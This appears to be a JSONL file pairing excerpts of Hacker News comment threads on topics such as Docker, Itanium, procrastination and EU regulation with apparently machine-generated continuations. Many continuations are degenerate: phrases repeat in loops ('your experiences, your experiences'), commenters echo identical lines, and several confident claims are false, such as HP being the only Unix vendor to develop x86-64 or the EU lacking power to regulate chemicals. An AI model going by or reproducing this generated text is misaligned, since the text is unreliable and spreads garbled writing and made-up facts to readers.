you. I have been programming for over 30 years and I still\nstruggle with the basics. I have been programming in C++ for over 10 years and\nI still struggle with the basics. I have been programming in assembly for over\n20 years and I still struggle with the basics.\n\nI have been programming in C++ for over 10 years and I still struggle with the", "input_text": " researches, grabbed a related domain and\nmaking a plan.\n\nLearning Programming? Oups! I forgot about it!!!\n\n------\nCyberFonic\nYou need to design first - on paper, white-board, etc. You wouldn't build a\nhouse without blueprints, so why try to write a big program without sketching\nstuff out so that you can break down into manageable chunks.\n\nIf that doesn't help, then maybe you need to take a good CS course. If you\nhave only programmed in C++, then it doesn't sound like a comprehensive\nbackground in CS.\n\n~~~\njff\nExactly this. The image of the lone hacker sitting down and pouring out a\nbunch of code straight from his brain is a romantic one, but if you haven't\nspent a little time deciding what your data structures are going to look like\nand how you're going to pass stuff around, etc., your code will be crap. \"Just\ncoding it\" leads to both frustration as you sit wondering what you should be\nwriting and why programming is so hard, and poor code. The poor code comes in\nwhen you start throwing in stuff like one-use elements in your structs to keep\ntrack of something you hadn't forseen, when a little bit of planning could\nhave alleviated that.\n\nI'm certainly not saying you should go write up a design document complete\nwith UML and everything. That would be ridiculous, damn it I'm an engineer not\na bureaucrat! Just sit down and think (on paper) about how some of the\nimportant stuff needs to look. It'll help a lot.\n\nAs for the second point, C++ does seem like a weird place to start. Go learn\nassembly or C. Learning to write assembly is a process of continually solving\ntiny"} +{"output_text": "\n[2] [https://www.amazon.com/Procrastination-Annihilation-\nOvercome...](https://www.amazon.com/Procrastination-Annihilation-Overcome-\nProcrastination/dp/1594206454)\n\n------\njimmyvalmer\nI've been working on this problem for a while. I've found that the best way to\nget past it is to make a list of things", "input_text": " clocks. In some cases, I'm doing what it takes to\nsynthesize one of my own, according to the rhythms and cycles of the dominant\n\"super-clock\". They don't ask it of me, it's just that without enforcement of\ninterplay, I lose all momentum.\n\nWithout a support crew, an Astronaut on an EVA can only accomplish so much.\n\nNo clock, no appointments. No appointments, no money.\n\n------\ntemp23099mv\nI've had similar problems. After trying to overcome the problem myself for\nmuch too long, embarrassed to even reveal it to others, I found a great\ntherapist and they helped immensely.\n\nProbably the most important thing I learned is that there are healthy, very\nhuman needs behind bad behaviors. Stop fighting yourself and doing tricks and\nworkarounds (hacks, etc.), and start caring about and helping yourself. When\nyou can't focus on work, what do you really need, on an emotional level? What\ndoes the video game provide? What are you avoiding?\n\nIf you don't understand your subconscious drives and emotions, you will be a\nslave to them.\n\n------\ntimtas\nLast week I heard an interesting interview [1] of Antony Sammeroff, author of\na free e-book titled Procrastination Annihilation. [2]\n\nI hesitate to recommend to you yet another anti-procrastination technique.\nMost of them are probably gimmicks that wear off quickly, as you have\ntestified. But this book sounds like good stuff to me. I know this guy a\nlittle, and I think he's really smart.\n\n[1] [https://tomwoods.com/1090](https://tomwoods.com/1090)\n"} +{"output_text": "bers, and you can see the\ncraftsmanship involved in getting them to their current state.\n\n------\njameshart\nI think the best way to get a sense of the craft of art is to see it in\nperson.\n\nI've been to a few art galleries, and I've always found them to be a bit\ndisappointing. The paintings are often hung in a way that makes it hard to\nreally see them, and the lighting is often", "input_text": " that\nmatters if you can't connect with art in the first place.\n\nPersonally, the first time I ever saw a Mark Rothko painting in person create\na seismic shift in my understanding of art and more specifically painting.\n\nTo me, viewing art is like listening to music you really love. You will know\nimmediately if you enjoy the piece, and will learn to appreciate it more and\nmore every time you look at (or listen to) it.\n\nPeople get too hung up on the \"meaning\" of art. What is the \"meaning\" of your\nfavorite song? My guess is that your connection to your favorite song is\nrooted in familiarity, nostalgia, or pure enjoyment, and not in the literal\nmeaning of the lyrics (although that is entirely possible!).\n\nGo and see art in person. Looking at it through a computer screen is bad for\nyou and bad for artists. Go to local gallery openings, museums, or art\nstudios.\n\n------\nJtsummers\nThere's a museum in Florence that I went to where you could see many statues\nin various states of completion. It was fantastically beautiful. They were\nclearly not complete works, Michelangelo had intended to do more. But for\nwhatever reason they never were finished. Despite their state of\nincompleteness, you could see the craftsmanship involved in getting them to\ntheir current state. But you could also see beauty in this unfinished state,\nas if the men (predominantly) of stone were climbing out of the rocks\nthemselves.\n\nShow someone an image of the Statue of David and it's not that interesting.\nBut see it in person. The immenseness of it. The detail that went into it. See\nthese other statues nearby, like stone tim"} +{"output_text": " and the\nonly place I could get access to macOS Services was in the \"Services\" tab of\nthe \"Preferences\" window.\n\nI'm not sure what the point of this is, but I'm not sure I'd recommend it to\nanyone.\n\n~~~\nzapzupnz\nI'm not sure if this is relevant, but I just tried Eclipse again, and it\nseems to be a lot more native-feeling now.\n\nI", "input_text": "Over on Mac. NVDA's \"browse mode\"\nfeatures work equally well whether it's Electron, Chrome, or Firefox (and to a\nlesser extent in IE and Edge).\n\nIn another thread, you wrote that Xcode is the best IDE you've found for Mac\nsimply because it's native to the Mac. Have you tried Eclipse? Given that\nEclipse's SWT widget toolkit is based largely on native widgets, it might be\nnative enough. Then again, the editor is custom, so it may still fall short.\n\nI ask you these questions because I'm interested in the perspective of a Mac\nuser who has apparently learned to make very effective use of multiple Mac\naccessibility features.\n\n~~~\nzapzupnz\nI had to install Java and Eclipse to give it a try just to reply to this\ncomment.\n\nI never liked Eclipse, it always felt extremely non-native to me. Nothing much\nseems to have changed.\n\nRight from the start, the Eclipse Installer (by Oomph, apparently) is a web\napp that VoiceOver has difficulty with meaning I have to interact with it\nusing web navigation controls which is a pain when I'm not expecting it.\n\nThe rest of the interface was a bit hit and miss. Either VO could read what\nwas on screen, or it thought I was looking at a table that apparently had no\nelements in it.\n\nTurning VO off and clicking around, still definitely not a native experience,\nthough better than I remember it. Native-handling of text, access to macOS\nServices\u2026 but only in certain parts of the program!\n\nAfter poking around a bit more, it turns out the only places I could get\nnative handling of text were web views (of which there are many);"} +{"output_text": "\nit\u2019s not just the VM approach that\u2019s being abandoned, but also the approach of\nhaving a separate kernel for each architecture.\n\n------\njedberg\nI'm curious if this will be a big deal for the cloud providers.\n\nI'm sure they'll be able to run Linux on their hardware, but will they be able\nto run Linux on the hardware of the cloud provider?\n\n~~~\njedberg\nI guess I should clarify. I", "input_text": " think will be a\nhuge win.\n\n~~~\njeffbee\nIt seems a bit silly to discuss servers based on Apple's architecture before\nthey reveal something with several cores. Mainstream x86 processors have 64\ncores per socket. These are the top contenders in SPEC performance-per-watt\nbenchmarks. Notably, nobody has ever even bothered submitting a SPEC result\nfor an ARM server, in particular not Ampere, whose product \"provides industry\nleading power efficiency/core\" even though there is no evidence to back this\nclaim.\n\n~~~\nsergeykish\nIt is a lucrative market, they have money and followers. I would not believe\nthey could design smartphone processor but here we are. Lets check in five\nyears.\n\n------\ngspr\nStuff like this is one area where Debian and other GNU/Linux distros are so\nvaluable. The architecture doesn't matter much, and the flexible distros are\npoised to adapt well to this heterogeneous world.\n\n------\nsaagarjha\n> Windows, particularly given the ability to run a full-on Linux environment\n> without virtualization\n\nAn effort that Windows seems to be in the direction of abandoning. (Plus,\nwriting these kinds of compatibility layers is complicated but not _super_\ncomplicated. What you really want is performance, and that\u2019s hard.)\n\n~~~\nWowfunhappy\nAre you referring to the fact that WSL2 is technically a VM?\n\nYou're not wrong, but the point seems a bit pedantic\u2014Microsoft is clearly\ninvesting a lot into making WSL2 _feel_ native, and it runs acceptably fast.\n\n~~~\nsaagarjha\nYes, the VM approach won\u2019t work if your underlying architecture changes. And"} +{"output_text": " think the \"real you\" is a myth.\n\nI think the \"real you\" is a combination of your experiences, your\nexperiences, your experiences, your experiences, your experiences, your\nexperiences, your experiences, your experiences, your experiences, your\nexperiences, your experiences, your experiences, your experiences, your\nexperiences, your experiences, your experiences, your experiences, your\nexperiences, your experiences, your experiences, your experiences, your\nexperiences", "input_text": "TR's economic prospects for a decade.\n\n------\nsubzidion\nHere's a TL;DR\n\n> \"the Cincinnati Center City Development Corp.\u2014better known as 3CDC\u2014has\n> invested or leveraged more than half a billion dollars into Over-the-Rhine,\n> buying and rescuing 131 historic buildings and building 48 new ones, while\n> maintaining subsidized housing, rehabilitating parks and driving out\n> criminals with cameras, better lighting, liquor store closings and the\n> development of vacant lots\"\n\n~~~\nantisthenes\nHere's a TL;DR for your TL;DR.\n\nReal estate development corp invests $500 million into gentrifying an area.\n\n~~~\naminok\nYou know how far gone social justice is as an ideology when \"gentrification\"\nhas become a bad word.\n\nGentrification means more safe high quality neighbourhoods for people to live\nin. The local effect might be to price some low income people out of their\ncommunity but the systemic effect is to increase the supply and therefore\nreduce the cost of better quality housing.\n\n \nThe \u2018Real You\u2019 Is a Myth - prostoalex\nhttps://theconversation.com/the-real-you-is-a-myth-we-constantly-create-false-memories-to-achieve-the-identity-we-want-103253\n======\nhrnnnnnn\nThis sounds like the idea of \"no-self\" from Buddhism.\n\n[https://en.wikipedia.org/wiki/Anatta](https://en.wikipedia.org/wiki/Anatta)\n\n~~~\nhelloindia\nAs someone who is studying at the moment, I thought the same.\n\n------\nFri21Sep\nI disagree. I"} +{"output_text": ".\n\n~~~\nmarcus_holmes\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\n~~~\nJon_Lowtek\nI'm not sure if you're being sarcastic, but I'm not sure if you're being\nserious.\n\nI'm not sure if you", "input_text": " video\nsurveillance\" to other large cities, starting with Heidelberg this year and\nfocusing on central train and tram stations.\n\nThere are many sources in german about this topic, some praising it, some are\nmore critical. Another such \"pilot project\" is run at Hamburg Hauptbahnhof and\nthat one got a lot more bad feedback, because they also \"try\" facial\nrecognition and tracking smart phone signals.\n\nIt should be noted that the european union invested into this technology\nstarting with the 7th Framework Programm in 2007 under the codenames INDECT,\nADABTS and SAMURAI. Expect to be flagged for \"abnormal, possibly criminal\nbehaviour\" in the future if you run or loiter at a large train station.\n\n~~~\nJon_Lowtek\nGermany: the city of Freiburg is also buying 18 new cameras for the area\n\"Bermudadreieck\" and \"Bertoldstra\u00dfe\". I couldn't find any information on how\n\"smart\" that system is going to be.\n\nIn Darmstadt the central tram hub \"Luisenplatz\" is going to get modern video\nsurveillance, too. Bought from Dallmeier Electronic GmbH & Co. KG. The mayor\nsaid no facial regocnition is planned, even if the vendor offers integration\nwith such systems. Its unknown if advanced behavior analysis is included. It\nis likely that all cities buy from different vendors and may get very\ndifferent quality of automated video content analysis.\n\nIn Hannover the local police veiled their own cameras last year during a\ndemonstration against a new police law. The demonstration asked for that and\nannounced to go to a court and the police just complied without waiting for a\ncourt order"} +{"output_text": "\n\n> Except for HP\n\nI'm not sure what you mean by HP.\n\n~~~\nghaff\nI'm not sure what you mean by HP either. I'm referring to the fact that HP\nwas the only major Unix vendor to develop x86-64.\n\n------\njandrese\nI'm not sure why they are so obsessed with the number of cores. It's not like\nyou can't get a quad-core CPU for $50.\n", "input_text": " Alpha (perhaps the fastest chip of its era), and\n> anything else in the pipeline were all cancelled or deemphasized. Why?\n> Because Itanium was the future for all computing. Why bother wasting money\n> on good ideas that didn't include it?\n\n> The failure of this chip to do anything more than exist as a niche processor\n> sealed the fate of Intel\u2014and perhaps the entire industry, since from 1997 to\n> 2001 everyone waited for the messiah of chips to take us all to the next\n> level.\n\n> It did that all right. It took us to the next level. But we didn't know that\n> the next level was below us, not above. The next level was the basement, in\n> fact. Hopefully Intel won't come up with any more bright ideas like the\n> Itanium. We can't afford to excavate another level down.\n\n~~~\nghaff\nI'm not sure what point Dvorak is even making in that article. Yeah, a lot of\nultimately wasted effort went into Itanium. But we ended up with x86-64 plus a\nsomewhat diminished set of CPUs from some of the big Unix vendors. It's an\ninteresting question but I'm ultimately not sure that the computer industry\nwould look all that different today had Intel just done 64-bit extensions to\nx86 or something similarly evolutionary.\n\nAMD might well not exist. But, except for HP, the big Unix vendors mostly\nhedged their bets anyway. The large Japanese companies who also backed Itanium\nnever were going to make the investments to break out beyond Japan.\n\n~~~\ncodinger\nX86-64/AMD64 was solely developed by AMD and licensed to Intel.\n\nI'm stating this because I can't tell what you mean by:"} +{"output_text": " the fact that they are a new player, and I think they are\ngoing to have a hard time breaking out.\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob mediation and Adwhirl?\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob mediation and Adwhirl?\n\n~~~\njoeblau\nI'm curious, what is the difference between Admob mediation and Adwh", "input_text": "s part as opposed to the percent of apps\npart.\n\nRight now on that metric the top ad networks in order are Admob, then\nMillennial Media, then Inmobi, then Tapjoy. I use the first three, and have\ngotten multiple checks from Admob and MM.\n\nOne thing to watch is ad fill rates. Millennial Media and Inmobi have decent\nad fill rates for certain countries, and poor ones for other. Admob has good\nfill rates for all countries I have seen. Admob mediation allows you to dole\nout ads by country, so that you don't send ads to a network with low fill\nrates for a particular country. Adwhirl is another mediation service owned by\nGoogle - it allows for backfill (if one service has no ads, try to load ads\nfrom another service). Google wants people to migrate from Adwhirl to Admob\nmediation, but Admob mediation has no backfill.\n\nI have a number of non-game apps with various fill rates - usually around 1%,\ngive or take 0.5%. I put out some games a few months ago, and their click-\nthrough rates were all bad - less than 0.5%. As Admob looks at apps as a\nwhole, this poor performance began pulling down the fill rates of my apps with\ngood CTR. I now just advertise my other apps on (most of) my games.\n\nReally, Admob, MM and Inmobi ruled the field until Tapjoy started breaking\nout. Tapjoy has an interesting model, which work well with games which offer\nfreemium points and the like. Back when I tried (a few months ago) their SDK\ninstall methodology for Android was way behind the simplicity of Admob, MM or\nInmobi. Add to this"} +{"output_text": " situation.\n\n------\njason_slack\nI have been using Docker for a few months now. I have been using it for\ndevelopment and production. I have been using it for a few months now. I have\nbeen using it for a few months now. I have been using it for a few months now.\nI have been using it for a few months now. I have been using it for a few\nmonths now. I have been using it for a few", "input_text": " docker image starts within seconds\n\n~~~\nccozan\nIs this more like a Solaris zone or a Linux chroot-ed env?\n\n~~~\nnickstinemates\nA lot like Linux chroot, with some additional features, restrictions, and a\nmechanism to share them easily.\n\n------\nthebigspacefuck\nMakes system administration somewhat easier since the host OS can stay the\nsame and docker containers change, while giving developers more control. I\nhave total control of which version of packages is installed, which OS I'm\nusing. I don't have to create a ticket, argue over the ask, and get approval\njust to change an web server timeout. It sort of usurps the sys admin role,\nthough, which might be a negative. I can move my container anywhere that's\nrunning Docker and all packages are there inside of the container. If you\nspend a lot of time setting up new boxes, that's a plus. Before, I had to dump\nall packages, figure out which ones were missing, then install all of them,\nand the host OS had to be exactly the same. Now I know it's exactly the same,\nall the time, anywhere.\n\nMy only warning is that using anything but Ubuntu for your build host is going\nto take way too long and you're going to be waiting hours for it to complete\nif you don't have any layers cached.\n\n------\ncolordrops\nIt's very useful in situations where you need a reproduceable deployment and\nalso need high performance and direct access to hardware. We run simulations\nthat require a lot of setup, and we tried with VMs at first, but they were too\nslow and the GL driver inside of the VM didn't implement all the extensions we\nneeded. Docker worked perfectly in this"} +{"output_text": " were safe._\n\nThey could, but they don't.\n\n~~~\nsillygoose\nI'm not saying they should. I'm saying they could.\n\n~~~\nimron\nThey could, but they don't.\n\n------\njimrandomh\nThe EU is a political entity, not a regulatory one. The EU has no power to\nregulate the chemical industry, and it's not clear that it would want to.\n\n~~~\nsilly", "input_text": " scenario (1) has a\nstronger claim to be said to be acting in the name of Person A than the person\nelected via process (2).\n\nThe EU is hence less democratic than the institutions is is replacing, and is\nin some sense democratically regressive.\n\n(And this is before any discussion about the differences in the legislative\npath between Westminster and the EU).\n\n~~~\nSagelyGuru\nI agree. Thank you for the expanded explanation of the reasons behind my above\nbrief comment. I just note in passing with wry bemusement, that my comment\nthat sparked such illuminating discussion apparently deserves only 0 points.\n\n------\nsillygoose\nYou know, if EU countries were genuinely concerned about their beloved\ncitizens coming into contact with damaging chemicals, they could warn them on\nthe evening news or something.\n\n \n \n Hey there Dear Citizens, these products have been found\n to cause cancer. Please avoid using them, and tell your\n friends to avoid them too! \n \n Best Regards, \n Your Benevolent, Caring Overlords\n \n\nDo you think that just _might_ have an effect on the companies producing the\ntoxic crap they force on us?\n\n \n \n \"Those naughty companies haven't stopped putting cancer-causing\n chemicals in their products. You should still boycott them.\"\n \n\nIf they really cared, they could just keep informing the citizenry until they\nwere safe.\n\n~~~\nimron\nUh-huh, right, because EU governments have editorial control of the evening\nnews, and also have bigger marketing budgets than the companies producing such\nchemicals.\n\nSure.\n\n _If they really cared, they could just keep informing the citizenry until\nthey"} +{"output_text": " halfway through the flight, the gamer gets up and goes to the bathroom.\nThe author is left alone in the seat, and the plane takes off. The author\nrealizes that they are now on a completely different flight, and they have\nbeen left behind.\n\n~~~\njoshuapants\nI've done this a few times. I've also done it with a flight simulator, but\nthat's because I was on a flight that was delayed.\n\n~~~", "input_text": "\nstill angry. Should i serve meal early or wait until closer to destination?\"\n\n~~~\nTerminalJunkie\nThis quote was stolen from the comments section on the original article by\nBrian_EE\n\n\"I wonder how realistic the operations of the virtual airlines are. In the\ngame, do you get to have local police come on your plane and beat up your\npassengers and drag them off before you take off on your flight route?\"\n\n~~~\nsandworm101\nFS is pilot-focused. They dont simulate the exciting world of ticket counters\nand baggage limits. But there is probably a german sim that, from the makers\nof AirportSimulator (see nerdcubed's coverage of that series). German\nsimulators are a strange market niche.\n\n~~~\nselimthegrim\nI remember googling furiously once I discovered Euro Truck Simulator to\nconfirm it wasn't some Steam Greenlight prank...\n\n~~~\nyongjik\nI heard that game has some cult followers in Korea. Some gamers buy steering\nwheels and gears, put on the monitor a sticker saying \"Freight Union\", wear\nfingerless gloves and a red Freight Union vest, and start driving while\nlistening to radio...\n\n------\nsqueaky-clean\nThis reminds me of a story I read in PCGamer long ago (I tried searching for\nthe article, but I don't even know if it was published online). The author got\ninto their seat for a flight, next to someone with a gaming laptop running a\nflight simulator. They chatted about video games for a while, and the gamer\nexplains that they like to set up the simulator to play the same flight they\nare currently taking, and try to take off and land at the same time.\n\nAbout"} +{"output_text": "I'm not a doctor, but I think it's a good idea to keep your\nblood circulating, even if you're not working.)\n\nSecond, it's not that complicated. It's just a matter of finding the right\nangle to tighten the strap.\n\nThird, it's not that complicated to make a strap that tightens itself.\n\nFourth, it's not that complicated to make a strap that tightens itself.\n\nFifth, it's not that", "input_text": " it on about 20 trees, of all shapes I could find here in Vancouver,\nBC, coding on my laptop for 8 hours a day. No noticeable damage with a naked\neye, using the prototype. The bark doesn't get damaged, because once\neverything is tightened, there's no movement or wiggling, only a compression.\nMost bark can handle the compression. So even if you bump into the tree,\nnothing's going to happen.\n\nThe manufactured product will probably have some padding on the lugs, it may\nnot be wood lugs, but maybe rubber lugs. Or metal or wood lugs, with rubber\npadding glued on.\n\nThe way I set in in the prototype, is when the bolt of the lug rotates, the\nlug also rotates. So I have to set it right, and then just use it at that\nposition. For the manufactured product, I'd like to set it, then tighten the\nbelt a little, then allow to screw the lug bolt so that the mounting bar would\nbecome vertical. This means that the lug must have a bearing, that would make\nthe rotating bolt (or shaft) rotate freely, without moving anything on the\nbark, so that the bark doesn't get damaged.\n\n------\nbryanrasmussen\nIt looks too complicated for me, it would probably just make me think I will\nsit on the ground with my laptop. However I feel the concept could be made to\nappeal to someone as lazy as me with some simplification - I'm thinking if\neverything could be focused on the strap.\n\n~~~\nboris1\nFirst, it gets cold to work sitting if it's Spring time (15 degrees Celcius).\nIs this case, only working standing keeps you warm enough, since the blood is\ncirculating. ("} +{"output_text": " the majority of them)\nwho are not white males.\n\n~~~\njessaustin\n_But if your company is taking on the diversity challenge then yes, start with\nthe fact that there is 7+ billion people, (or at least the majority of them)\nwho are not white males._\n\nI'm not sure what you're trying to say here. I'm not saying that you should\nstart with the fact that there are 7+ billion people, or that", "input_text": " doesn't make it a\ngood idea.\n\n> _And perhaps there aren 't enough resources to improve said process and\n> handle a greater volume of potentially unqualified applicants._\n\nThat's how you handle a great volume of applicants - you look for indicators\nof skill. None of them are necessary or sufficient; they just increase the\nlikelihood that this will be a good hire a little bit. Giving every single\nperson who is able to use the \"resume\" template in Microsoft Word an in-person\ninterview would catch those false negatives you're missing, but it would be\nridiculously inefficient.\n\nOr am I to assume that when you want to hire a plumber you canvass your\nneighborhood door-to-door so you dont miss out on someone who might be\nqualified but just drummed out of the plumbing industry for institutional\nreasons?\n\nAlthough I do like how you dismissed points 2-8 with a simple handwaving of\n\"elite males are more likely to score higher on these points, so they're no\ngood.\"\n\nNot to mention the fact that that argument does virtually nothing to\ncontracdict point #8. If youre someone who truly believes they're a Great\nProgrammer Who's Not Being Given a Chance Due To White Male Supremacy, a\ngithub profile is the greatest arrow in your quiver that you could possibly\ndream of.\n\n~~~\nthelock85\nI'm not following most of your points here (standalone maybe but not with\nrespect to my comments). No one is saying you don't need to ID signals in the\nnoise or define quality indicators of skill.\n\nBut if your company is taking on the diversity challenge then yes, start with\nthe fact that there is 7+ billion people, (or at least"} +{"output_text": " a lot of luck, but he also had a lot of hustle.\n\n~~~\nhiou\nI agree with you, but I think the title is a bit misleading. I think the\noriginal title was \"How I built a successful SaaS business with no technical\nskills\" which is a bit more accurate.\n\n~~~\ngregorymichael\nI agree, but I think the original title was \"How I built a successful SaaS\nbusiness with no", "input_text": "iehackers.com/businesses/humanpredictions?utm_source=hacker-news&utm_campaign=interview-promotion&utm_medium=social\n======\nhiou\nHe basically gets a spot in the family business which he uses as a launchpad\nto creating a SaaS product. Come on, this title is so far off from reality. No\nproblem with what he did and it sounds like he does a great job, but let's at\nleast keep the titles from indiehackers somewhat accurate. It gives a lot of\npeople thinking about starting their own company really unrealistic\nexpectations.\n\n~~~\ngregorymichael\nAs someone who has known Elliot from the Chicago scene for the last ~10 years,\nI have to push back on this.\n\nElliot hustled his ass off doing his own thing, working recruiting for\nGroupon, working as one of the founding employees of DevBootcamp Chicago to\nget graduates gigs (and doing so with great success), and then back to his own\nrecruiting before launching Human Predictions based on feedback from his\nclients and experiences.\n\nHe became, at least in my circles, the most trusted recruiter amongst\ndevelopers. Many thought of him as more of an \"agent\" than a recruiter.\nSomeone you could grab coffee with every six months who'd keep you in mind if\nthe perfect gig came up. I referred friends to him all the time without\nconcern that he'd spam them, hard-sell them, put them in whatever spot that\nwas open just to reap the commission. He's always had the developer's interest\nin mind first and foremost.\n\nI understand the sentiment that these stories can sometimes over-simplify the\njourney. Yes, he had"} +{"output_text": " as they could.\n\n~~~\n_cs2017_\n> * Loss of potential earnings as American companies are locked out of Chinese\n> markets * Loss of actual earnings as American/global consumers switch to\n> Chinese companies (eg huawei) that are accused of unfair business practices or\n> receiving unfair government subsidies.\n\nI don't think that's a fair characterization. The US government is not\npreventing American companies from entering Chinese markets.\n\n~~~\nwestise", "input_text": "secuted by the government? Did they want to go against the hackers both\ncriminally and civilly?\n\n~~~\nsubcosmos\nWhy is it that intelligence agencies are still conducting their activities\nduring their countries working hours?\n\nYou'd figure it would be easier to find nocturnal neckbeards anyways.\n\n~~~\nscintill76\nIn this case, the timezones probably line up to make Chinese working hours the\nbest time to do this work.\n\n------\n_cs2017_\n> unfair business practices originating from China are costing the American\n> economy more than $57 billion a year, White House officials believe\n\nAnd yet the companies who supposedly lose that money don't care.\n\nIt reminds me a little of the $200-250B \"lost\" to piracy by the movie and\nmusic industry ([http://freakonomics.com/2012/01/12/how-much-do-music-and-\nmov...](http://freakonomics.com/2012/01/12/how-much-do-music-and-movie-piracy-\nreally-hurt-the-u-s-economy/)). To be more precise it reminds me of how\neveryone likes to create large impressive numbers that prove their point or\nsupport their agenda.\n\n~~~\nwestiseast\nI suspect the amount is a mix of things:\n\n* Investment in IP that then gets stolen. * Loss of potential earnings as American companies are locked out of Chinese markets * Loss of actual earnings as American/global consumers switch to Chinese companies (eg huawei) that are accused of unfair business practices or receiving unfair government subsidies.\n\nSome companies \u201cdon\u2019t care\u201d because they aren\u2019t actually losing money, they\u2019re\njust not making as much"} +{"output_text": " ensue.\n\n~~~\nivankirigin\nI'm not sure what you mean. The US is spending $200B per year on climate\nchange research.\n\nThe debate is about the proposed solution.\n\n~~~\nryanwaggoner\nI'm not sure what you mean. The debate is about the proposed solution.\n\nThe proposed solution is a tax on carbon emissions.\n\nThe debate is about whether or not that's a good idea.\n\n~~~", "input_text": " 1998.\n\nSo no, there continues to be _no evidence that vaccines cause autism_. And\npeople still remain unconvinced until they hear something stronger.\n\n~~~\nivankirigin\nYou're obviously correct. You are also 3 sigma out in your understanding of\nthe issue.\n\nThe response to bad science should be in the same dumbed down language that\nthe bad science used.\n\n~~~\ndschobel\nI disagree. You can see the repercussions from that in things like the Global\nWarming stories where everyone at HN collectively cringes when terms like\n\"scientific consensus\" are tossed about.\n\nThere's no short-cut to good science and dumbing it down fundamentally\ndiminishes it. Honest people still care about facts and science.\n\n~~~\nivankirigin\nGlobal warming is a perfect example. There are way too many people that point\nto a cold day and say: see?!\n\nThe message should be: there are huge changes going on right now, on a huge\nscale, beyond today's temperature.\n\nThe debate is also often linked to a proposed solution, which is a big\nmistake. Cap & Trade or a carbon tax are two of dozens of potential solutions.\nThatSmugFucksPrius\u2122 is not a solution, but way too often involved in the\nmessaging.\n\nDo you think there would be a big global warming debate if the proposed\nresponse was $200B a year in research? I don't. That is chump change with a\nbunch of positive externalities.\n\n~~~\nryanwaggoner\nSorry, but if the US decided to spend $200B per year on climate change\nresearch, which is decidedly not chump change, \"debate\" hardly describes the\nfuror that would"} +{"output_text": "us_law_en.php#more\n======\njasonlbaptiste\nI'm not sure if this is a good thing or not. I think it's a good thing that\npeople are being held accountable for their actions. I think it's a bad thing\nthat people are being held accountable for their actions.\n\n~~~\njasonlbaptiste\nI'm not sure if this is a good thing or not. I think it's a good thing that\npeople", "input_text": "_rajasek\nNot to nitpick but your about page shows that universitytutor.com was started\nin 2004 but your post shows that you started the site in 2008? Also the\ndashboard shows decreasing timeline which means you are either losing\ncustomers and below the 200 (can't guess the scale) subscribers or there is a\nsimple error somewhere...\n\nWhat are we missing?\n\n~~~\nbarmstrong\nGood point - I actually first registerred and built a site back in 2004 but it\nwas a different business (matching people manually in Houston only). 2008 was\nwhen I switched it over to a directory site that was open to anyone and let\ntutors and students contact each other directly (also rebuilt it in rails).\n\nNot sure what you mean on the graph though - it seems correct to me.\n\n~~~\nsenthil_rajasek\nThe dashboard graph shows just a months worth of data and for some reason I\nthought the timeline was decreasing. Congratulations on your success.\n\n------\ndfischer\nCongratulations. That's a great milestone.\n\n------\nantidaily\nThe site is beautiful. Nice work!!\n\n~~~\nbarmstrong\nI did the programming, but hired this guy to design it:\n\n\nI'd recommend him, he was good and fairly priced. (Found him on 99designs).\n\n------\nqq66\nNice job dude! -Amal\n\n------\nohashi\nCongrats :)\n\n------\ncinimod\nThat's an AWESOME dating service.\n\n \n70,000 Blogs Shut Down by U.S. Law Enforcement - dwynings\nhttp://www.readwriteweb.com/archives/70000_blogs_shut_down_by_"} +{"output_text": ".com, for example.\n\n~~~\nbenkuhn\nI'm not sure what you mean by \"qualified translators\".\n\n~~~\nJPLeRouzic\nI mean that the texts are not just translated by a machine, but by a human\nbeing.\n\n------\njameshart\nI'm not sure I understand the point of this paper.\n\nThe authors are claiming that the model they've built is able to learn\ntranslation from a", "input_text": " scientist says \"I can prove these two\npeople have ESP and can pick the same #\". He sits them in two separate rooms\nand has her first pick a number. He goes to the second room and has him pick a\nnumber. 17? No higher. 24? No higher. 52? No lower. 43? Yes exactly!!\n\n\"See, these two people both came up with the same number without any\ncommunication with each other. ESP!\"\n\nIf they want to show this language learning is powerful, demonstrate that once\ntrained it can now be applied to a third language without any new \"adversarial\nfeedback\".\n\nOr it reminds me of the fake \"we can communicate faster than light via quantum\nentanglement\" claims. But then the caveat comes that they can only figure out\nwhat the value of the bit of info they communicated was causally.\n\n~~~\nbenkuhn\nI think you missed something.\n\nPreviously, machine translation required being trained on a bilingual corpus,\nthat is, a corpus of _the same set of sentences_ in eg English and French.\nThese corpora are pretty hard to come by and expensive to produce.\n\nThe paper describes a technique to use two monolingual corpora instead, i.e.\none set of sentences in English and a _different_ set of sentences in French.\nThat's _way_ easier to find.\n\nIt's far from just a definitional trick.\n\n~~~\nJPLeRouzic\n>> These corpora are pretty hard to come by and expensive to produce.\n\nActually there are lot of texts translated by qualified translators in several\nlanguages, for political reasons: EU's commission websites, perhaps some other\ncountries official websites.\n\nYou can have a look at Linguee"} +{"output_text": ".com/future/story/20140206-can-a-city-really-ban-cars-from-its-streets\n======\njlgreco\nI think the real question is, \"can a city really ban cars from its streets\nwithout a massive amount of collateral damage?\"\n\n~~~\naneth\nI think the real question is, \"can a city really ban cars from its streets\nwithout a massive amount of collateral damage?\"\n\n~~~\n", "input_text": "of devices, buffers and formats. and that's only for one OS. and if you start\ndoing anything non-trivial, making the programs work well in real-time is not\nfor the faint of heart.\n\nif there was a single format supported everywhere, minimum buffer sizes and a\ncommon API for all OSes, it would be a whole another, much more pleasant story\n\n------\nPaulDavisThe1st\n[ Edited/Deleted reply because I missed the fact that this code distributes a\nsingle mono signal across 2 outputs. The terminology for this stuff is never\ntotally clear: some people would call this a mono panner, some would call it a\nstereo panner, some call it a 1in/2out panner ]\n\n~~~\nInsanity\nHey there, yep I'm actually aware of what you're saying. I actually wrote this\nat the bottom of the post:\n\n\"There is actually a flaw with this panning function that we are using.\nHowever it is not apparent to us yet because we can only set a pan for an\nentire audio source\"\n\nI'm working from something simple up to something more complex, but tackling\nit in small parts. Next I'm writing about applying breakpoints where the pan\ncan be set throughout the track and you can notice the power dip - and then\nwe'll work on fixing that. ;-)\n\n~~~\nPaulDavisThe1st\nFor some reason, I just realized that despite your talk about 2 channel WAV\nfiles, this code is actually a 1 input to 2 output panner.\n\nSo I take back what I said about it being a balance control entirely. Sorry\nfor that.\n\n \nCan a city really ban cars from its streets? (2014) - antr\nhttp://www.bbc"} +{"output_text": "?\n\n~~~\njlgreco\nI don't think that is a valid comparison.\n\nThe Fukushima plant was a nuclear power plant, and the radiation released was\nfrom the nuclear fuel. The Chernobyl plant was a nuclear power plant, and 